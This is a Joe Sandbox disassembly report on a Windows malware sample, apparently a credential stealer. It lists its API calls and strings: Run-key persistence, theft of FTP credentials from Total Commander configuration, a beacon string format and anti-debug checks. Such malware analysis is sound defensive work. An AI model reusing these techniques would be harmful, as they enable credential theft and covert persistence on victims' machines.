Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: File$PointerRead$CloseCreateHandleHeapWrite$AllocateProcessSize
String ID:
API String ID: 2296163861-0
Opcode ID: 894f1e02061cece153af19de11902bbae5fe70548c4ece14d410128547cdf08b
Instruction ID: 7ae3b020874f099f6a4231377d147a855b3f50186be4225f3fece46b7b724b47
Opcode Fuzzy Hash: 894f1e02061cece153af19de11902bbae5fe70548c4ece14d410128547cdf08b
Instruction Fuzzy Hash: F0416A71901028BADB209BA2DD48EEFBF7DEF45390F104476F619F21A0D7709A10DB64

Function 00409C99 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 127
memorynetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenUrlW.WININET(?,hOA,?,00000000,04400000,00000000), ref: 00409CCB
GetProcessHeap.KERNEL32(00000000,00002001,?,?,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409CF4
HeapAlloc.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409CF7
InternetReadFile.WININET(?,?,00001000,?), ref: 00409D6E
GetProcessHeap.KERNEL32(00000000,00000002,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409D80
HeapAlloc.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409D83
GetProcessHeap.KERNEL32(00000000,00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409DE3
HeapFree.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409DE6

Strings

hOA, xrefs: 00409CC5

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Heap$Process$AllocInternet$FileFreeOpenRead
String ID: hOA
API String ID: 1355009786-3485425990
Opcode ID: 786a5954c9ab5f0fe889d4d88a95b872a4b6a838963cd3095893ed4ca2eaaa4a
Instruction ID: 638041e7f74e2b46c75c1535d5ef76f15aa532bf5b3977fbb34850ab96fc5943
Opcode Fuzzy Hash: 786a5954c9ab5f0fe889d4d88a95b872a4b6a838963cd3095893ed4ca2eaaa4a
Instruction Fuzzy Hash: 1B418B71900209FFEB119F65C844BAA7BA9FF44355F14847AF819E6292E778CE80CF54

Function 00406E69 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00406E78

Strings

hOA, xrefs: 00406E7E
Via: , xrefs: 00406FAF
From: , xrefs: 00406F8E
Page generated at: , xrefs: 00407000
^key=, xrefs: 00406F2E
.html, xrefs: 00406F14
0, xrefs: 00406EF5
^nocrypt, xrefs: 00406F5C

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: CountTick
String ID: .html$0$From: $Page generated at: $Via: $^key=$^nocrypt$hOA
API String ID: 536389180-697497794
Opcode ID: 84a0e12b251b3718d34eddf76b775ad89a92ce41e4fff3615f2568cd6720db27
Instruction ID: 73e0daeea7a9f5f4b783dd0519eebdf5205f1bdf48cad4214514e0173d2ce6b9
Opcode Fuzzy Hash: 84a0e12b251b3718d34eddf76b775ad89a92ce41e4fff3615f2568cd6720db27
Instruction Fuzzy Hash: 27416131A0161997CB25EBA2DC51BDE7369FF44308F0044BFB909B71C1EA78AE948F59

Function 0040A786 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 121
sleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00002710,00000000,00000000,00000000), ref: 0040A7A3
Sleep.KERNEL32(0000EA60,?,00000000,00000000,00000000), ref: 0040A899
Sleep.KERNELBASE(00002710,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8CC
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8E5
HeapFree.KERNEL32(00000000,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8EC

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Strings

confirm^rev=%s^code=%s^param=%s^os=%s, xrefs: 0040A7BA
0, xrefs: 0040A848

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Sleep$Heap$AttemptConnectFreeInternetProcess
String ID: 0$confirm^rev=%s^code=%s^param=%s^os=%s
API String ID: 3100629401-2436734164
Opcode ID: c622fb37aa2467ece8f64e14a3bc52ff303aefc1e596290383a82c184368ac36
Instruction ID: 7defdabbc875a2827947a9af70fbac2689cb4d570e6f2fffa55db425585f7fd8
Opcode Fuzzy Hash: c622fb37aa2467ece8f64e14a3bc52ff303aefc1e596290383a82c184368ac36
Instruction Fuzzy Hash: C0418372D00618AACB11EBE1DC859DF73BCEF44304F10847BF505B6181EA789A558F9E

Function 0040782A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000000,UniqueNum), ref: 0040784D
CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00407864
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 00407879
CloseHandle.KERNEL32(00000000), ref: 00407880
GetTickCount.KERNEL32 ref: 00407888

Strings

UniqueNum, xrefs: 00407836

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: File$CloseCountCreateHandleModuleNameTickTime
String ID: UniqueNum
API String ID: 1853814767-3816303966
Opcode ID: e7107705f7d645ec0444386ddfffd8695f1bbe122d048c6309b931cdd7db22a5
Instruction ID: 2f8cc66c71eb5b32faf52737d8a911681d4da4e376004c23895cdbe2f04b10ac
Opcode Fuzzy Hash: e7107705f7d645ec0444386ddfffd8695f1bbe122d048c6309b931cdd7db22a5
Instruction Fuzzy Hash: AE110633419220ABD210AB65EC4CA9B7FACEF45760F004A3AF964E21D0D6349211C7AB

Function 00407E2B Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 54
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,UniqueNum), ref: 00407E5C
ReadFile.KERNEL32(?,00000064,00000001,00000000), ref: 00407E74

Part of subcall function 00407CD7: GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
Part of subcall function 00407CD7: CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

hOAd, xrefs: 00407E91
d, xrefs: 00407E7E
x, xrefs: 00407E86
UniqueNum, xrefs: 00407E38

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: File$CreateModuleNamePointerRead
String ID: UniqueNum$d$hOAd$x
API String ID: 1528952607-1018652783
Opcode ID: 015ecc0cc43ae81723c1e035d0cdbf130f909c8143b489dc0bfa89a80df37f55
Instruction ID: 0df55d11f519ebf6f0451cc58b4543fb7278309a9039aac926228ebb90f40a66
Opcode Fuzzy Hash: 015ecc0cc43ae81723c1e035d0cdbf130f909c8143b489dc0bfa89a80df37f55
Instruction Fuzzy Hash: 5311A531D09308AADF109B61DD05BDB3B6AAB00324F218676E612F61E0E7749D44CBAE

Function 0040AC20 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 49
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

Strings

/nomove, xrefs: 0040AC23
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040AC39, 0040AC3E, 0040AC6C
IueiOod, xrefs: 0040AC50, 0040AC82

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID: /nomove$IueiOod$SOFTWARE\Microsoft\Windows\CurrentVersion\Run
API String ID: 3546245721-4228964922
Opcode ID: e183a9483fa9f7ba9bb43204af9f8e84b77f88267b9ccf7be8296576afd26502
Instruction ID: 3bac8edf5f415b784fe4546894dc74dc09b9405a13c640cee1cd261e7a9a2bb6
Opcode Fuzzy Hash: e183a9483fa9f7ba9bb43204af9f8e84b77f88267b9ccf7be8296576afd26502
Instruction Fuzzy Hash: 5F01867265430EFEFF1096919D42F9A736CDB40768F210036FA00B60D1D6B6AE155779

Function 0040AAFD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(?,0040B3E5), ref: 0040AB0A
GetModuleFileNameW.KERNEL32(00000000,?,00000820,00000400,?,0040B3E5), ref: 0040AB44
CharLowerW.USER32(?,?,0040B3E5), ref: 0040AB57
CharLowerW.USER32(?,?,0040B3E5), ref: 0040AB60

Strings

/nomove, xrefs: 0040AB10

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: CharLower$CommandFileLineModuleName
String ID: /nomove
API String ID: 1338073227-1111986840
Opcode ID: 00c7a09b5e38cd9dc17e43fc8aab8f350de87f2bf6048177a511846302a86bad
Instruction ID: b8029fc6669f79c45f6caaa8ce38406425976cf3cabd4088da44db58d281c6d8
Opcode Fuzzy Hash: 00c7a09b5e38cd9dc17e43fc8aab8f350de87f2bf6048177a511846302a86bad
Instruction Fuzzy Hash: 7CF01D7290022956DB10A7B19C05BDB72ACFF40309F0445B6AA05F2180ED78EA548F95

Function 00407CD7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
GetCurrentDirectoryW.KERNEL32(00001000,?,?,00407E44,00000001,UniqueNum), ref: 00407D15
CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

\merocz.xc6, xrefs: 00407D1B

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: File$CreateCurrentDirectoryModuleName
String ID: \merocz.xc6
API String ID: 3818821825-505599559
Opcode ID: 2f84b54d5be0d3dae659ee3f303fbd3ad06020502789306fc31ef9c8cba0b7e5
Instruction ID: bb9f2ddab4bab237696810683399403c99d26191ea9c434de7a02090ea9b9a12
Opcode Fuzzy Hash: 2f84b54d5be0d3dae659ee3f303fbd3ad06020502789306fc31ef9c8cba0b7e5
Instruction Fuzzy Hash: DA01A231904224ABE7309B569C49FEB77ADEF85710F00447FB505F20D1D6749A80CAAA

Function 00407727 Relevance: 6.1, APIs: 4, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400,771B0900,00000400,00000000,0040B4B3,00000000), ref: 00407744
ExpandEnvironmentStringsW.KERNEL32(?,00000400), ref: 00407784
GetLastError.KERNEL32(00000004), ref: 004077A9

Part of subcall function 004075D4: CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000,00000400), ref: 004075FC
Part of subcall function 004075D4: CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00407618

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: File$Create$EnvironmentErrorExpandLastModuleNameStrings
String ID:
API String ID: 1536607067-0
Opcode ID: 89cd35a4e2c2c3bd6fcfd873d8aca65b8c9597df86e0d91d22dc3db87ccf143e
Instruction ID: de8f4f1c442ba604be96c6aabbb627c7d922d162aa2fadd5385f895ae0141ebd
Opcode Fuzzy Hash: 89cd35a4e2c2c3bd6fcfd873d8aca65b8c9597df86e0d91d22dc3db87ccf143e
Instruction Fuzzy Hash: AD11E972908249AED720D7A19C81FEB739CFB44354F10483BFB95E30D0E678B945866B

Function 004077F0 Relevance: 3.0, APIs: 2, Instructions: 30
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00407800
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,?,?,?,?,00000400), ref: 0040781B

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: CreateProcess_memset
String ID:
API String ID: 1177741608-0
Opcode ID: 0cd9a43e4f1b4c0064b4bee2692f9063eedacf03e95d61430481666f95000588
Instruction ID: 3694313203bda926a09df6f19e1a61ce713b6a49f930e6e3ed03be73a1123fdc
Opcode Fuzzy Hash: 0cd9a43e4f1b4c0064b4bee2692f9063eedacf03e95d61430481666f95000588
Instruction Fuzzy Hash: 1DE048B294113876DB20A6E69C0DDDF7F6CDF06694F000121BA0EE50C4E5749608C6F5

Function 004069C0 Relevance: 3.0, APIs: 2, Instructions: 25
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 149707b6f704b0206dcd429f7e61dcdc4ff4cc903c0dfabc6e5b0404234ae6db
Instruction ID: 7cb27e63b8b96f7a1a34dd7d249ffcc2d4336ce0f7aa5f451266b78b49120899
Opcode Fuzzy Hash: 149707b6f704b0206dcd429f7e61dcdc4ff4cc903c0dfabc6e5b0404234ae6db
Instruction Fuzzy Hash: DCE06D7A000208BBEF104F94CD09BD97BB9EB44358F208464BA00A6150D67596149B14

Function 00406D14 Relevance: 3.0, APIs: 2, Instructions: 22
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetAttemptConnect.WININET(00000000), ref: 00406D18
InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00406D2C

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Internet$AttemptConnectOpen
String ID:
API String ID: 2984283330-0
Opcode ID: 77bbdc1ab6611dce8fe5f9a2cfb0e06ed6a4e54537c27329ce6246ada380d11e
Instruction ID: 3045e06cac02f36cd47ad2bbc893350a3e6c997d3593ce6e368a9b0161d3b649
Opcode Fuzzy Hash: 77bbdc1ab6611dce8fe5f9a2cfb0e06ed6a4e54537c27329ce6246ada380d11e
Instruction Fuzzy Hash: 04D05E713171312BE7345B763E48ACB2E4CDF02A61701043AF406D8090D6348851C6E8

Non-executed Functions

Function 004039EA Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000008,00020002,?,00000104,SOFTWARE\Ghisler\Total Commander), ref: 00403A09
GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 00403A2C
HeapAlloc.KERNEL32(00000008,00000C0C), ref: 00403A55
StrStrIW.SHLWAPI(?,?), ref: 00403ACF
StrStrIW.SHLWAPI(?,?), ref: 00403AE4
GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403AFF
GetPrivateProfileStringW.KERNEL32(?,?,00000000,000001FE,000000FF,?), ref: 00403B20
GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00403B36

Strings

SOFTWARE\Ghisler\Total Commander, xrefs: 004039F3
default, xrefs: 00403A8B
ftp://%s:%s@%s, xrefs: 00403B50
host, xrefs: 00403A9A
password, xrefs: 00403AB8
username, xrefs: 00403AA9
connections, xrefs: 00403A79

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: PrivateProfileString$AllocHeap
String ID: SOFTWARE\Ghisler\Total Commander$connections$default$ftp://%s:%s@%s$host$password$username
API String ID: 2479592106-2015850556
Opcode ID: c368ffed181334e4a999fe46bdaddc7fa5d9e929cd71afacdc90b45fbd8a1971
Instruction ID: 106d3b010c48b16868dcb071ba678aa04ac33b338b72d514ced31169f03d36dc
Opcode Fuzzy Hash: c368ffed181334e4a999fe46bdaddc7fa5d9e929cd71afacdc90b45fbd8a1971
Instruction Fuzzy Hash: A2513D71900109BAEB11EFA5DD41EAEBBBDEF44308F204077E904F6292D775AF068B58

Function 004032B8 Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 86libraryloadermemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406A68: RegOpenKeyExW.ADVAPI32(80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current,00000000,00000001,?,00420840,?,00000000), ref: 00406A8C

Part of subcall function 00406ADF: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,00420840,?,00000000,?,004032CE,00420840,?,00000000,?,?,0040B182), ref: 00406B2A

GetSystemMetrics.USER32(00000000), ref: 004032E5
GetSystemMetrics.USER32(00000001), ref: 004032ED
VirtualProtect.KERNEL32(75A90B80,0000000A,00000008,?,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 00403309
VirtualProtect.KERNEL32(75A90B88,0000000A,?,?,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 00403333
SetUnhandledExceptionFilter.KERNEL32(004032AF,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 0040333A
LoadLibraryW.KERNEL32(atl,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 00403345
GetProcAddress.KERNEL32(00000000,AtlAxWinInit), ref: 0040335D
GetProcAddress.KERNEL32(00000000,AtlAxAttachControl), ref: 0040336A
GetProcAddress.KERNEL32(00000000,AtlAxGetControl), ref: 00403377

Strings

AtlAxWinInit, xrefs: 00403357
AtlAxAttachControl, xrefs: 0040335F
atl, xrefs: 00403340
AtlAxGetControl, xrefs: 0040336C

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: AddressProc$MetricsOpenProtectSystemVirtual$ExceptionFilterLibraryLoadUnhandled
String ID: AtlAxAttachControl$AtlAxGetControl$AtlAxWinInit$atl
API String ID: 3066332896-2664446222
Opcode ID: fe1f50a485c472adffca313bd216073f3c2af1e46121dbe202f23b587a8dcd22
Instruction ID: 61d9a237d914756188f526d52bf2e891562662c8e4878cb3977fb5d3c9d5a9bd
Opcode Fuzzy Hash: fe1f50a485c472adffca313bd216073f3c2af1e46121dbe202f23b587a8dcd22
Instruction Fuzzy Hash: E6212771900390EED3019FBAAD84A5A7FE8EB5B31171545BBE556F32A0C7B80902CB79

Function 0040350F Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 185memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000,?,00000000,00000000), ref: 0040823C

HeapAlloc.KERNEL32(00000008,00020002), ref: 00403566
GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 0040358A
HeapAlloc.KERNEL32(00000008,00000C20), ref: 004035B5
GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403639
GetPrivateProfileIntW.KERNEL32(?,?,00000015,?), ref: 00403653
GetPrivateProfileStringW.KERNEL32(?,?,00000000,-000001FE,000000FF,?), ref: 00403681

Strings

pass, xrefs: 00403611
ftp://%s:%s@%s:%u, xrefs: 004036C3
user, xrefs: 00403601
port, xrefs: 004035F1

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: PrivateProfile$String$AllocHeap$CombinePath
String ID: ftp://%s:%s@%s:%u$pass$port$user
API String ID: 3432043379-2696999094
Opcode ID: 44b7e08f2b4d95bd69ae67f2fadcfc6b29273b9b05256415c6f2e19ab8e382dd
Instruction ID: ca29095f8650abd3188745a74e72d347e34b1f07fc40ddfd65b33f15b90f053b
Opcode Fuzzy Hash: 44b7e08f2b4d95bd69ae67f2fadcfc6b29273b9b05256415c6f2e19ab8e382dd
Instruction Fuzzy Hash: D3515FB2104606AFE710EF61DC81EABBBEDEB88304F10493BF554A32D1D735DA058B56

Function 00408248 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 116sleepfilesynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000,?,00000000,00000000), ref: 0040823C

FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Sleep.KERNEL32(00000000), ref: 00408342
Sleep.KERNEL32(00000000), ref: 00408377
FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
FindClose.KERNEL32(00000000), ref: 004083B9

Strings

.8@, xrefs: 00408379
., xrefs: 004082CE
., xrefs: 004082B7
.8@, xrefs: 0040833F

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: Find$FilePathSleep$CloseCombineFirstMatchNextObjectSingleSpecWait
String ID: .$.$.8@$.8@
API String ID: 2348139788-2639049386
Opcode ID: 6239f567dea19bf0f1c0472067baa2396414c83c3cbbf53e1e63fbac9dc8ae5f
Instruction ID: 14d48cc84805742e6106b0fbd309534a1a80b5d2ede52edf6fcc6a53e93a4421
Opcode Fuzzy Hash: 6239f567dea19bf0f1c0472067baa2396414c83c3cbbf53e1e63fbac9dc8ae5f
Instruction Fuzzy Hash: 35414F3140021DABCF219F50DE49BDE7B79AF84708F0401BAFD84B11A1EB7A9DA5CB59

Function 0040CD66 Relevance: 7.6, APIs: 5, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0040D0C4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040D0D9
UnhandledExceptionFilter.KERNEL32(0040E248), ref: 0040D0E4
GetCurrentProcess.KERNEL32(C0000409), ref: 0040D100
TerminateProcess.KERNEL32(00000000), ref: 0040D107

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1b5eef82b17558b1403b6a949654a497de19b842f61d59b3835a6f2e4e548581
Instruction ID: 078c109d1665b9b830d76e00ceeb27c9797f204ae48b5850d213398ac2e03a3c
Opcode Fuzzy Hash: 1b5eef82b17558b1403b6a949654a497de19b842f61d59b3835a6f2e4e548581
Instruction Fuzzy Hash: 7F21CEB8801244DFD700DF59F945A857BF4BB08385F0086BAE708E76B0E7B458808F0D

Function 0040B096 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 181threadnetworkCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,00420840,00001000,00000000,00000000,00000000,?,0040B320,00000000,?,0040B3E0), ref: 0040B103
InternetSetPerSiteCookieDecisionW.WININET(begun.ru,00000005), ref: 0040B16F
GetLastError.KERNEL32(00000004,?,0040B320,00000000,?,0040B3E0), ref: 0040B188
CreateThread.KERNEL32(00000000,00000000,Function_0000B023,?,00000000,00000000), ref: 0040B1C3

Strings

\netprotdrvss.exe, xrefs: 0040B12D, 0040B293
begun.ru, xrefs: 0040B16A

Memory Dump Source

Source File: 00000012.00000002.2334309027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_omsecor.jbxd

Similarity

API ID: CookieCreateDecisionErrorFileInternetLastModuleNameSiteThread
String ID: \netprotdrvss.exe$begun.ru
API String ID: 2887986221-2660752650
Opcode ID: 72f3bde2a2d827b3c721072f775774581fb941fcacc32120eed56e62724ecf90
Instruction ID: dc85dbecd2d93a1c92e95c54703b850062b4355e184197ecdf44903e32880826
Opcode Fuzzy Hash: 72f3bde2a2d827b3c721072f775774581fb941fcacc32120eed56e62724ecf90
Instruction Fuzzy Hash: 4351F571A00218BBEB206F65DC89AAF3769EB44349F00447BF904BA1D1D77C8D51CBAE

Function 00403C10 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 173COMMON

Download Yara Rule

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00403C84

Part of subcall function 004039EA: HeapAlloc.KERNEL32(00000008,00020002,?,00000104,SOFTWARE\Ghisler\Total Commander), ref: 00403A09
Part of subcall function 004039EA: GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 00403A2C
Part of subcall function 004039EA: HeapAlloc.KERNEL32(00000008,00000C0C), ref: 00403A55
Part of subcall function 004039EA: StrStrIW.SHLWAPI(?,?), ref: 00403ACF
Part of subcall function 004039EA: StrStrIW.SHLWAPI(?,?), ref: 00403AE4
Part of subcall function 004039EA: GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403AFF

PathRemoveFileSpecW.SHLWAPI(?), ref: 00403CA3

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?), ref: 00403D2C
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00403DDF

Strings

SOFTWARE\Ghisler\Total Commander, xrefs: 00403C2F
*totalcmd*, xrefs: 00403CB7
#, xrefs: 00403D0E
*ghisler*, xrefs: 00403CD8
installdir, xrefs: 00403DA1
*total*commander*, xrefs: 00403CC9
